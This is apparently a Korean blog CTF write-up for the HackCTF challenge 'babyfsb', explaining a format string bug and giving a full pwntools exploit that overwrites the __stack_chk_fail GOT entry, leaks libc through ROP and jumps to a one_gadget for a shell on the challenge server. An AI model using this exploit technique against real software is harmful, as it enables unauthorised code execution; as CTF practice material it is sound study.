printf부분에서 format string bug가 터지는 것을 알 수 있다. 그런데 여기서 우리는 sfp부분 전까지만 덮을 수 있다. 그리고 checksec을 통해 알아본 결과 카나리가 있다는 것을 알 수 있었다. 그런데 카나리가 침범당하면 __stack_chk_fail()함수를 호출하게 된다. 이것의 got 부분을 우리가 원하는 함수로 덮고, stack smashing을 일으키면 함수를 실행시킬 수 있다.
그래서, hackingcamp2019에서 나온 문제인 stack pivoting으로 인해 단련된 스택 관련 경험으로 pop을 4번하게 되면 우리의 버퍼쪽으로 온다는 것을 gdb를 통해 알아내었다. 그래서 ppppr 가젯을 덮고, ROP코드를 이용해 libc leak을 하고, one_gadget 주소를 다시 덮으면 된다.
from pwn import *
#p = process('./babyfsb')
p = remote('ctf.j0n9hyun.xyz', 3032)
e = ELF("./babyfsb")
l = e.libc
context.log_level = "debug"
p_rdi_r = 0x0000000000400793
ppppr = 0x000000000040078c
main = 0x00000000004006A6
### overwrite __stack_chk_fail
payload = '%' + str(ppppr) + 'c'
payload += '%8$n' + 'aaa'
payload += p64(e.got['__stack_chk_fail'])
###
### libc leak with ROP
payload += p64(p_rdi_r)
payload += p64(e.got['setvbuf'])
payload += p64(e.plt['printf'])
payload += p64(main)
###
payload += 'a' * (0x40 - len(payload)) ##triger stack smashing
p.sendafter('hello\n', payload)
libc = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - l.sym['setvbuf']
log.info('libc : ' + hex(libc))
### overwrite __stack_chk_fail
payload = '%' + str(ppppr) + 'c'
payload += '%8$n' + 'aaa'
payload += p64(e.got['__stack_chk_fail'])
###
### one_gadget
payload += p64(libc + 0x45216)
###
payload += 'a' * (0x40 - len(payload)) ##triger stack smashing
p.sendafter('hello\n', payload)
p.interactive()
'CTF write-up > hackctf' 카테고리의 다른 글
[hackctf] childfsb (0) | 2019.08.26 |
---|---|
[hackctf] babyheap (0) | 2019.08.25 |
[hackctf] 풍수지리설 (0) | 2019.08.20 |
[hackctf]World_best_encryption_tool (0) | 2019.07.22 |
[hackctf]register (0) | 2019.07.21 |